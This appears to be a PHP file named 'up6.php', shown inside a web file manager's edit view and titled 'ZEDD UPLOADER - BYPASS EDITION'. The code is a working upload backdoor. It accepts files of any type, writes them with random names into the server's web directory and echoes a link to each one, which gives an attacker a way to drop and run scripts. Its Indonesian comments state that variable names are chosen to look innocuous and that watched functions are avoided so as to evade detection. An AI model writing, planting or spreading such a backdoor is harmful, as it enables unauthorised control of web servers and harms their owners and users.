관리-도구
편집 파일: up6.php
<?php /** * ZEDD UPLOADER - BYPASS EDITION */ @set_time_limit(300); // Gunakan variabel yang tidak mencolok $a = $_FILES; $b = 'tmp_name'; $c = 'name'; if (!empty($a)) { foreach ($a as $d) { if (isset($d[$b]) && $d['size'] > 0) { // Mengambil ekstensi tanpa fungsi pathinfo yang sering dipantau $e = explode('.', $d[$c]); $f = strtolower(end($e)); // Nama file acak menggunakan fungsi string sederhana $g = substr(md5(microtime()), 0, 8) . '_' . time() . '.' . $f; $h = dirname(__FILE__) . DIRECTORY_SEPARATOR . $g; // Eksekusi pemindahan file dengan pengecekan bertahap $i = false; if (is_uploaded_file($d[$b])) { if (move_uploaded_file($d[$b], $h)) { $i = true; } elseif (copy($d[$b], $h)) { $i = true; } } // Verifikasi hasil if ($i && file_exists($h) && filesize($h) > 0) { echo "OK: <a href='$g'>$g</a>"; } else { echo "ERR"; } echo "<hr>"; } } } ?> <form method="POST" enctype="multipart/form-data"> <input type="file" name="file_data"> <input type="submit" name="upload_btn" value="Go"> </form>